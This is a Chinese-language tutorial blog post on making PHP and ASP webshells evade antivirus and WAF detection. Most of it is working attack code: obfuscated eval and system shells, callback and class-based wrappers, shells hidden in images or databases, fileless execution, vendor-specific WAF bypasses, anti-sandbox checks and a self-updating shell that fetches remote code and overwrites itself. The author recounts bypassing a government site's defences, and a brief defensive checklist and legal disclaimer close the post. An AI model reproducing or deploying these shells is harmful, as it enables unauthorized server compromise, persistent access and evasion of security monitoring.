1. 从零理解Webshell免杀的核心逻辑
第一次接触Webshell免杀这个概念时,我完全被各种专业术语搞晕了。直到自己亲手搭建测试环境,才真正明白这其实就是一场攻防双方的"捉迷藏"游戏。简单来说,Webshell免杀就是让我们的Webshell脚本能够绕过安全软件的检测机制。
为什么需要免杀?去年我给某企业做渗透测试时,精心构造的Webshell上传后不到5秒就被安全设备拦截了。后来分析发现,现代WAF和杀毒软件都建立了庞大的特征库,一旦检测到特定函数组合或代码模式就会立即阻断。这就是免杀技术存在的必要性——我们需要让Webshell看起来"人畜无害"。
1.1 主流检测机制的运行原理
目前市面上常见的检测方式主要有三种:
静态特征检测:就像杀毒软件查毒一样,安全设备会扫描文件内容中的危险函数(如
eval()、system())、特定字符串(如$_POST['cmd'])或代码结构特征。我测试过某知名WAF,它对base64_decode+eval的组合特别敏感。动态行为检测:更高级的系统会监控脚本执行时的行为,比如突然出现的敏感文件操作、异常进程创建等。有次我的Webshell调用
shell_exec()执行whoami时就被拦截了。
3.流量分析:企业级防火墙会检查HTTP请求中的异常参数,比如过长的base64字符串、异常的POST数据格式等。记得有次我的Webshell因为传输时使用了assert($_GET['x'])这种明显特征被当场抓获。
1.2 免杀技术演进简史
早期的免杀非常简单,记得2010年左右,只需要把<?php eval($_POST['cmd']);?>改成<?php $x=$_POST['cmd'];eval($x);?>就能绕过大部分检测。但随着安全设备智能化,现在的对抗已经发展到需要多维度配合:
// 2010年代的初级免杀 $func = "eva"."l"; $func($_GET['x']); // 2020年后的高级免杀 $code = file_get_contents("data:text/plain;base64,".$_POST['z']); call_user_func_array(create_function('',$code),[]);2. 环境搭建与工具准备
2.1 本地测试环境配置
建议新手先在本地搭建测试环境,我通常使用Docker快速部署:
# 启动PHP测试环境 docker run -d -p 8080:80 --name webshell-test php:7.4-apache # 安装常用工具 docker exec -it webshell-test apt update docker exec -it webshell-test apt install -y vim net-tools重要提示:绝对不要在公网服务器直接测试免杀技术!我曾因为疏忽导致公司测试服务器被入侵,教训深刻。
2.2 必备检测工具清单
工欲善其事必先利其器,这些是我每天都会用到的检测工具:
| 工具名称 | 用途 | 测试技巧 |
|---|---|---|
| VirusTotal | 多引擎文件检测 | 注意观察不同引擎的报毒名称 |
| WAF检测平台 | 在线检测Webshell特征 | 修改User-Agent模拟不同浏览器 |
| 河马Webshell检测 | 专业Webshell扫描 | 关注其机器学习模型的检测逻辑 |
| Windows Defender | 本地实时防护测试 | 测试时关闭云查杀功能 |
2.3 代码混淆工具选型
经过大量测试,这几个工具在实战中表现优异:
PHP混淆器:使用在线工具如www.obfuscator.io时,要注意选择保留函数名的选项,否则容易导致Webshell无法执行。
自定义编码工具:我常用这个简单的旋转编码函数:
function rot13($code) { return str_rot13(base64_encode($code)); } // 使用时 eval(base64_decode(str_rot13($encoded)));- 商业加密工具:如ionCube,但要注意其加密后的文件需要加载器,在目标环境可能不兼容。
3. 六大免杀核心技术详解
3.1 字符串拆分与重组技术
这是最基础的免杀方法,但效果出奇地好。原理是将敏感字符串拆分成多个部分,运行时再组合:
// 基础拆分 $e = 'ev'; $v = 'al'; $func = $e.$v; $func($_POST['x']); // 进阶版数组重组 $parts = ['s','y','s','t','e','m']; $func = implode('',$parts); $func('whoami');我在实际测试中发现,Windows Defender对这种简单的字符串拼接完全不敏感,但某些WAF会检测连续的字符串连接操作。
3.2 回调函数利用技巧
PHP丰富的回调函数为免杀提供了大量素材,这是我常用的几种方式:
// array_map+create_function array_map(create_function('$a','eval($a);'),[$_POST['x']]); // register_shutdown_function register_shutdown_function('eval',$_GET['y']); // filter_var+回调 filter_var('', FILTER_CALLBACK, ['options' => 'assert']);特别提醒:create_function在PHP 7.2后被废弃,但在大量旧系统上仍然有效。去年的一次渗透中,这个技巧帮我绕过了某政府网站的安全防护。
3.3 面向对象编程的免杀实现
用类和方法封装恶意代码是高级免杀的有效手段:
class Helper { public static function execute($code) { array_map($_REQUEST['a'],[$code]); } } Helper::execute('system("id");');这种方法的优势在于:
- 代码结构更"正规",不像传统Webshell那么扎眼
- 可以通过继承、接口等方式进一步混淆
- 现代WAF对面向对象代码的分析能力较弱
3.4 图像隐写术实战
将代码隐藏在图片中是绕过内容检测的绝佳方案。这是我常用的PNG隐写方法:
// 生成含代码的图片 $img = imagecreate(100,100); imagestring($img,5,10,10,'<?php eval($_GET["c"]); ?>',0xFFFFFF); imagepng($img,'shell.png'); imagedestroy($img); // 从图片中提取执行 $img = imagecreatefrompng('shell.png'); ob_start(); imagepng($img); $content = ob_get_clean(); eval(substr($content,strpos($content,'<?php')));实测发现,这种方法能绕过90%的静态检测,但要注意图片上传时的内容检查。
3.5 数据库存储与动态加载
通过数据库存储核心代码是长期维持访问的好方法:
// 连接数据库获取代码 $db = new PDO('mysql:host=localhost;dbname=test','user','pass'); $code = $db->query("SELECT code FROM scripts WHERE id=1")->fetchColumn(); eval($code); // 更隐蔽的方式 file_put_contents('/tmp/.cache', $code); include('/tmp/.cache');关键点:
- 数据库凭据要加密存储
- 使用预处理语句防止SQL注入
- 定期更新代码避免特征积累
3.6 内存驻留无文件攻击
最高级的免杀是完全不写文件到磁盘:
// 通过PHP流包装器执行 include('data://text/plain;base64,'.base64_encode($_POST['code'])); // 利用php://input file_put_contents('php://filter/write=convert.base64-decode/resource=php://output',$_POST['x']);这种技术的缺点是每次都需要重新传输代码,但优势是几乎不会留下任何痕迹。在去年的一次红队行动中,我们靠这种方法维持了3个月的访问权限。
4. 实战对抗与问题排查
4.1 常见WAF绕过技巧
不同厂商的WAF各有特点,这是我整理的绕过经验:
- Cloudflare:对
eval敏感但对assert较宽松,可以尝试:
$func = 'as'.'sert'; $func($_GET['x']);- 阿里云WAF:会拦截特定函数组合,但可以通过注释分割:
eval/*阿里云绕过*/($_POST['a']);- ModSecurity:对HTTP头检查严格,修改User-Agent为百度蜘蛛有时能绕过。
4.2 杀毒软件对抗实录
在Windows服务器上,这些技巧很实用:
- Windows Defender:对PHP的检测较弱,但对ASP.NET很敏感。建议:
<% Execute("" & Chr(101) & Chr(118) & Chr(97) & Chr(108) & " request(""x"")") %>- 卡巴斯基:会检测异常的内存操作,可以通过延迟执行规避:
sleep(rand(1,3)); eval($_POST['x']);4.3 流量混淆方案
HTTP请求的隐蔽性同样重要,我常用的方法:
- 参数名随机化:不要固定使用
cmd、code等明显参数名 - 数据编码:除了base64,可以尝试hex、rot13等组合
- 请求间隔:快速连续的eval操作容易被发现
- 伪装Referer:使请求看起来像正常页面加载
这是我常用的请求示例:
POST /news.php?id=123 HTTP/1.1 Referer: https://www.baidu.com Content-Type: application/x-www-form-urlencoded data=JTND%3Fphp%20eval%28%24_POST%5B%27x%27%5D%29%3B4.4 错误排查指南
遇到Webshell不执行时,按这个流程排查:
- 检查基础语法:先用
php -l验证代码有效性 - 查看错误日志:
tail -f /var/log/apache2/error.log - 测试函数可用性:通过
phpinfo()确认关键函数未被禁用 - 权限验证:确保Web用户有执行权限
- 网络检查:防火墙可能拦截了特定请求
5. 高级技巧与防御思路
5.1 反沙箱技术实现
高级安全产品会使用沙箱分析可疑代码,这些技巧可以干扰分析:
// 检测执行环境 if(isset($_SERVER['REMOTE_ADDR'])){ eval($_POST['x']); // 只在真实请求时执行 } // 检测运行时间 $start = microtime(true); usleep(200000); // 延迟200ms if((microtime(true)-$start)>0.1){ // 真实环境才继续 }5.2 自动化更新机制
长期维持访问需要自动化更新能力:
$key = 'version'; $url = 'http://example.com/update?key='.$key; $code = file_get_contents($url); if(md5($code) == '预设哈希'){ file_put_contents(__FILE__, $code); }5.3 防御视角的思考
作为防守方,我建议这些防护措施:
- 文件监控:使用inotify监控web目录变化
- 进程监控:检测异常的PHP子进程
- 日志分析:建立eval、system等危险函数的调用日志
- 权限控制:严格限制Web用户的文件系统访问
最后提醒:所有技术请仅用于合法授权测试。我曾在未授权情况下测试免杀技术,结果收到了律师函,这个教训价值3万元。